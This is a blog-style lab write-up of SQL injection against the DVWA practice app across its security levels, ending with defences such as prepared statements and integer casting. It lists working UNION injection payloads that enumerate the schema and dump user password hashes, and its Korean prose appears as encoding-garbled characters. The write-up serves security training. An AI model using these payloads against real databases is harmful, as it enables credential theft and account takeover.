Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Practice/DVWA

[DVWA] SQL Injection (Order by / Union)

Gearvirus(junyup2) 2024. 4. 11. 23:21

Vulnerability: SQL Injection

์ฟผ๋ฆฌ๋ฌธ์˜ ๊ตฌ์กฐ๋ฅผ ํŒŒ์•…ํ•˜๊ณ , UNION SQL Injection์„ ์ ์šฉํ•˜์—ฌ DB ๋‚ด๋ถ€์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์กฐํšŒํ•˜๋Š” ๊ฒƒ์„ ๋ชฉ์ ์œผ๋กœ ํ•œ๋‹ค.

DVWA SQL Injection ์‹ค์Šต

์‹ค์Šต ํ™˜๊ฒฝ
- Windows Docker๋ฅผ ์ด์šฉํ•œ DVWA
- Windows ํ™˜๊ฒฝ์˜ Burp Suite

Security Level: Low

order by๋ฅผ ์ด์šฉํ•˜์—ฌ ์ปฌ๋Ÿผ(Column)์˜ ๊ฐœ์ˆ˜๋ฅผ ํ™•์ธํ•ด๋ณธ๋‹ค.

 

Order by

1' order by 1~2 #

์œ„์™€ ๊ฐ™์ด 1~2์˜ ๊ฒฝ์šฐ ๊ฒฐ๊ณผ ๊ฐ’์ด ๋‚˜์˜จ๋‹ค.

1' order by 3 #

3์„ ์ž…๋ ฅํ•œ ๊ฒฝ์šฐ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ๋œ๋‹ค. ์ฆ‰ ์ปฌ๋Ÿผ์€ 2๊ฐœ๋ผ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

์ด์ œ UNION SQLi Process์— ๋งž์ถฐ ์ง„ํ–‰ํ•œ๋‹ค.

 

Column ์œ„์น˜ ์ฐพ๊ธฐ

์ปฌ๋Ÿผ์˜ ๊ฐœ์ˆ˜๊ฐ€ 2๊ฐœ๋ผ๋Š” ๊ฒƒ ๊นŒ์ง€ ํ™•์ธํ–ˆ์œผ๋ฏ€๋กœ, ์ถœ๋ ฅ๋˜๋Š” ์ปฌ๋Ÿผ์˜ ์œ„์น˜๋ฅผ ์ฐพ์•„๋ณธ๋‹ค.

1' union select 1, 2 #

์œ„์˜ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด First name์— 1๋ฒˆ ์ปฌ๋Ÿผ์ด, Sunname์— 2๋ฒˆ ์ปฌ๋Ÿผ์ด ์ถœ๋ ฅ๋˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

DB ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

1' union select database(),2 #

ํ•ด๋‹น DB์˜ ์ด๋ฆ„์€ dvwa์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

TABLE ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

1' union select table_name,2 from information_schema.tables where table_schema = 'dvwa' #

dvwa DB๋Š” guestbook ๊ณผ users ๋ผ๋Š” 2๊ฐœ์˜ Table๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด์ค‘์—์„œ users ๊ฐ€ ํšŒ์›์ •๋ณด์ผ ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋˜๋ฏ€๋กœ ์ด๋ฅผ ํ™•์ธํ•ด ๋ณธ๋‹ค.

 

COLUMN ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

1' union select column_name,2 from information_schema.columns where table_name = 'users' #

users ํ…Œ์ด๋ธ”(dvwa.users)๋Š” user_id, first_name, last_name, user, password, avatar, last_login, failed_login์˜ 8๊ฐœ์˜ ์ปฌ๋Ÿผ์œผ๋กœ ๊ตฌ์„ฑ๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์กฐํšŒ์— ์‚ฌ์šฉ๋œ User ID๋Š” user_id ์ปฌ๋Ÿผ์ผ ๊ฒƒ์ด๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์œ ์ € ์ •๋ณด๋Š” user, password๋ฅผ ํ™•์ธํ•ด๋ด์•ผ ํ•  ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.

 

DATA ํ™•์ธํ•˜๊ธฐ

users ํ…Œ์ด๋ธ”์—์„œ user, password ์ปฌ๋Ÿผ์„ ์—ด๋žŒํ•˜์—ฌ Data๋ฅผ ํ™•์ธํ•ด ๋ณธ๋‹ค.

1' union select user, password from users #

์œ„์™€ ๊ฐ™์ด 5๊ฐœ์˜ ๊ณ„์ •๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ์— ํ•ด๋‹นํ•˜๋Š” ๊ณ„์ •์ •๋ณด๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•ด๋‹น ๊ณ„์ •์ •๋ณด์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณด๋ฉด ํ•ด์‰ฌ๊ฐ’์œผ๋กœ ์ €์žฅ๋˜์–ด ์žˆ๋‹ค. ์ด ํ•ด์‰ฌ๋กœ๋ถ€ํ„ฐ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค๋ฉด ๊ด€๋ฆฌ์ž ๋ฐ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋‹ค.

 

๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‰ฌ(HASH) ํ’€์ด

๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ๋Œ€๋ถ€๋ถ„ ํ•ด์‰ฌ(hash) ๊ฐ’์œผ๋กœ ์ €์žฅ๋œ๋‹ค. ํ•ด์‰ฌ๋Š” ๋‹จ๋ฐฉํ–ฅ ์•”ํ˜ธํ™”์˜ ์ผ์ข…์œผ๋กœ ์ด๋ก ์ ์œผ๋กœ๋Š” ๋ณตํ˜ธํ™”๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. ํ•˜์ง€๋งŒ ๋„๋ฆฌ ์•Œ๋ ค์ง„ ๋ฌธ์ž์—ด(์ทจ์•ฝํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ)์ธ ๊ฒฝ์šฐ์—๋Š” ์ถ”์ •ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ๊ตฌ๊ธ€์ด๋‚˜ ํ•ด์‰ฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์ด์šฉํ•˜๊ฑฐ๋‚˜, ์ทจ์•ฝํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ชฉ๋ก์œผ๋กœ๋ถ€ํ„ฐ ํ•ด์‰ฌ ์ฒ˜๋ฆฌ๋ฅผ ํ•˜์—ฌ ๋™์ผํ•œ ํ•ด์‰ฌ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.

๊ตฌ๊ธ€์—์„œ ๊ฒ€์ƒ‰์„ ํ†ตํ•ด ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

https://md5.gromweb.com/

์œ„์™€ ๊ฐ™์ด ๊ฐ๊ฐ์˜ ํ•ด์‰ฌ ๊ฐ’์€ 1234, abc123, charley, letmein, password ์— ํ•ด๋‹นํ•˜๋Š” md5() ํ•ด์‰ฌ ๊ฐ’์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์ˆซ์ž์™€ ์•ŒํŒŒ๋ฒณ์œผ๋กœ ๊ตฌ์„ฑ๋œ 32์ž ์งœ๋ฆฌ ํ•ด์‰ฌ๋Š” ๋Œ€๊ฐœ MD5 ํ•ด์‰ฌ์ด๋‹ค.

Security Level: Medium

Medium ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ, id ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์ˆซ์ž๊ฐ’์„ ๋ฐ›๋„๋ก ๋˜์–ด ์žˆ์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ' ๊ฐ€ ์—†์ด ์ž…๋ ฅ๋œ๋‹ค.

์‹ค์ œ ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด mysqli_real_escape_string์„ ์ด์šฉํ•˜์—ฌ ' ์ž…๋ ฅ๊ฐ’์€ \' ๋กœ ์ž…๋ ฅ๋˜์–ด '๋กœ ์ธ์‹๋˜์ง€ ์•Š๋Š”๋‹ค.

ํ•ด๋‹น ๋ ˆ๋ฒจ์—์„œ๋„ UNION SQLi Process์— ๋งž์ถฐ ์ง„ํ–‰ํ•œ๋‹ค.

 

Order by

( ' ) ์—†์ด ์ž…๋ ฅ ํ•œ๋‹ค.
1 order by 1 / 1 order by 2

1 order by 3

์œ„์™€ ๊ฐ™์ด 1,2 ์— ๋Œ€ํ•œ ๊ฒฐ๊ณผ๋Š” ๋‚˜์˜ค์ง€๋งŒ 3์—๋Œ€ํ•œ ๊ฒฐ๊ณผ๋Š” ๋‚˜์˜ค์ง€ ์•Š๋Š” ๊ฒƒ์œผ๋กœ๋ถ€ํ„ฐ ์ปฌ๋Ÿผ์˜ ๊ฐœ์ˆ˜๊ฐ€ 2๊ฐœ์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

Column ์œ„์น˜ ์ฐพ๊ธฐ

1 union select 1,2

 

DB ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

1 union select database(),2

 

TABLE ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์‚ฌ์šฉ์ž ์ž…๋ ฅ๊ฐ’(id)์— ๋Œ€ํ•˜์—ฌ mysqli_real_escape_string() ํ•จ์ˆ˜๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์—  ', " ์™€ ๊ฐ™์€ ๋ฌธ์ž๊ฐ€ SQL๋ฌธ์œผ๋กœ ์ฒ˜๋ฆฌ๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•œ๋‹ค. ๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— ํฐ๋”ฐ์˜ดํ‘œ(")๋‚˜ ์ž‘์€๋”ฐ์˜ดํ‘œ(')๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  ํ™•์ธํ•œ๋‹ค.

1 union select table_name,2 from information_schema.tables

where ๊ตฌ๋ฌธ์„ ์ด์šฉํ•˜๋ ค๋ฉด table_schema = 'dvwa' ์™€ ๊ฐ™์ด ' ๊ฐ€ ํ•„์š”ํ•˜๊ธฐ ๋•Œ๋ฌธ์— where ๊ตฌ๋ฌธ ์—†์ด ์ „์ฒด๋ฅผ ํ™•์ธํ•˜๊ธฐ๋กœ ํ•œ๋‹ค.

 

COLUMN ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์œ„์™€ ๊ฐ™์ด ' ์—†์ด ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด where ๊ตฌ๋ฌธ ์—†์ด ํ™•์ธํ•œ๋‹ค.

1 union select column_name from information_schema.columns

์ „์ฒด ํ…Œ์ด๋ธ”์— ๋Œ€ํ•œ ์ปฌ๋Ÿผ์„ ์กฐํšŒํ•˜์˜€์œผ๋ฏ€๋กœ, comment_id, comment, name ํ…Œ์ด๋ธ”์„ ํ™•์ธํ•ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

DATA ํ™•์ธํ•˜๊ธฐ

1 union select user, password from dvwa.users


Security Level: High

here to change your ID. ๋ฅผ ๋ˆ„๋ฅด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

SQL๋ฌธ์—์„œ ์‚ฌ์šฉํ•  id ๊ฐ’์„ ์„œ๋ฒ„์˜ ์„ธ์…˜(session)์œผ๋กœ๋ถ€ํ„ฐ ์ฝ์–ด์„œ ์‚ฌ์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์˜จ์ „ํ•˜๊ฒŒ ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ•์ด๋ผ๊ณ  ํ•  ์ˆ˜ ์žˆ๋‹ค. ์‹ค์งˆ์ ์œผ๋กœ ์‚ฌ์šฉ์ž๊ฐ€ ์„œ๋ฒ„์— ์ €์žฅ๋œ ์„ธ์…˜ ๋‚ด์˜ ๊ฐ’์„ ์กฐ์ž‘ํ•  ๋ฐฉ๋ฒ•์ด ์—†๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

ํ•˜์ง€๋งŒ ํ•ด๋‹น ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ์„œ๋ฒ„์˜ ์„ธ์…˜์— ์ €์žฅ๋˜๋Š” ๊ฐ’์„ ์‚ฌ์šฉ์ž๊ฐ€ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋Š” ์•„๋ž˜์™€ ๊ฐ™์€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ œ๊ณตํ•œ๋‹ค. 

์ด๊ฒƒ์€ ๋น„ํ˜„์‹ค์ ์ธ ์ƒํ™ฉ์„ ๊ฐ€์ •ํ•œ ๊ฒƒ์œผ๋กœ ๋ณด์•„๋„ ๋ฌด๋ฐฉํ•˜๋‹ค๊ณ  ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ์„ธ์…˜์€ ์„œ๋ฒ„๊ฐ€ ์ž๋™์œผ๋กœ ๋งŒ๋“œ๋Š” ๊ฒƒ์œผ๋กœ, ๋กœ๊ทธ์ธ์„ ํ•˜๋Š” ๊ณผ์ •์—์„œ ๊ฒ€์ฆ๋œ ๊ฐ’(ID, ๊ถŒํ•œ)์„ ์ €์žฅํ•œ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฐ’์€ ์„œ๋ฒ„์— ์ €์žฅ๋˜๋Š” ๊ฐ’์œผ๋กœ์„œ ์‚ฌ์šฉ์ž๊ฐ€ ๊ด€์—ฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๋Š” ๊ฑฐ์˜ ์—†๋‹ค๊ณ  ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

High ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ WHERE ๊ตฌ๋ฌธ ๋’ค์— LIMIT 1์œผ๋กœ ์ œํ•œ์„ ํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ฃผ์„(#)์„ ์ด์šฉํ•˜์—ฌ ์—ฌ๋Ÿฌ์ค„์„ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•œ๋‹ค. (Medium ๋ ˆ๋ฒจ์—์„œ ์‚ฌ์šฉํ–ˆ๋˜ mysqli_real_escape_string๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ', " ๊ฐ€ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค.)

 

Order by

1' order by 1~2 #

1' order by 3 #

 

Column ์œ„์น˜ ์ฐพ๊ธฐ

1' union select 1,2 #

 

DB ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

1' union select database(), 2 #

 

TABLE ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

1' union select table_name,2 from information_schema.tables where table_schema = 'dvwa' #

 

COLUMN ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

1' union select column_name,2 from information_schema.columns where table_name = 'users' #

 

DATA ํ™•์ธํ•˜๊ธฐ

1' union select user, password from users #


Security Level: Impossible

Impossible ๋ ˆ๋ฒจ์˜ ์ฝ”๋“œ๋Š” ์œ„์™€ ๊ฐ™๋‹ค. ์ด๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

 Anti-CSRF token์ด ์ ์šฉ๋˜์–ด ์žˆ๋Š”๋ฐ, ์ด๋Š” ํ˜„์‹ค์ ์œผ๋กœ SQL Injection์˜ ๋ฐฉ์–ด์—๋Š” ๋ณ„ ๋„์›€์ด ๋˜์ง€ ์•Š๋Š”๋‹ค.

๋˜ ๋‹ค๋ฅธ ๋ฐฉ์–ด ์ˆ˜๋‹จ์€ is_numeric() ํ•จ์ˆ˜๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ๋Š”๋ฐ, id ๊ฐ’์ด ์ˆซ์ž์ธ ๊ฒฝ์šฐ์—๋งŒ SQL๋ฌธ์œผ๋กœ ์ด ๊ฐ’์„ ์ „๋‹ฌํ•˜๊ฒŒ ๋œ๋‹ค.

ํ•ด๋‹น ๋ฌธ์ œ์—์„œ์˜ ํŒŒ๋ผ๋ฏธํ„ฐ์ธ id์˜ ๊ฒฝ์šฐ 1,2,3,4,5์™€ ๊ฐ™์€ ์ •์ˆ˜ํ˜•์„ ๊ธฐ๋ณธ์œผ๋กœ ํ•œ๋‹ค. ๋•Œ๋ฌธ์— is_numeric() ํ•จ์ˆ˜๋„ ๊ฐ€๋Šฅํ•˜์ง€๋งŒ is_int() ํ•จ์ˆ˜๋กœ ๋Œ€์ฒดํ•˜์—ฌ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.
๋˜ํ•œ ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์ง€ ์•Š๊ณ  ๊ฐ€์šฉ์„ฑ์„ ๋†’์ด๊ณ ์ž ํ•œ๋‹ค๋ฉด '๊ฐ•์ œ ํ˜•๋ณ€ํ™˜(type casting)'์„ ์ ์šฉํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

$id = $_GET['id']; ๋Œ€์‹ ์— $id = (int)$_GET['id']; ์™€ ๊ฐ™์ด GET์œผ๋กœ ๋ฐ›์•„์˜จ ๋ณ€์ˆ˜๋ฅผ ์ •์ˆ˜(int)๋กœ ํ˜•๋ณ€ํ™˜ ํ•˜๋Š” ๊ฒฝ์šฐ, ๊ตณ์ด is_numeric()์ด๋‚˜ is_int()์™€ ๊ฐ™์ด ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š์•„๋„ ๋œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.
์ด ๊ฒฝ์šฐ, ๋ฌธ์ž์—ด์ด ์ˆซ์ž๋กœ ์‹œ์ž‘ํ•˜๋ฉด ์ˆซ์ž๊นŒ์ง€๋งŒ ์ˆซ์ž๋กœ ๋ฐ›์•„๋“ค์ด๊ณ  ๋’ท๋ถ€๋ถ„์€ ๋ฌด์‹œํ•œ๋‹ค. ์ฒซ ๋ฌธ์ž๊ฐ€ ์ˆซ์ž๊ฐ€ ์•„๋‹ˆ๋ผ๋ฉด ๋ฌด์กฐ๊ฑด 0์œผ๋กœ ๋ณ€ํ™˜ํ•˜๊ฒŒ ๋œ๋‹ค.

(์ˆซ์ž ํ˜•์‹์ด ์•„๋‹ˆ๋ฉด SQL ๋ฌธ์œผ๋กœ ์ „๋‹ฌํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— SQL Injection์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ๋‹ค.)

๋˜ํ•œ Prepared State๋ฅผ ์ด์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์— SQL Injection์„ ์™„์ „ํ•˜๊ฒŒ ๋ฐฉ์ง€ํ•˜๊ณ  ์žˆ๋‹ค๊ณ  ๋ณผ ์ˆ˜ ์žˆ๋‹ค.


์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜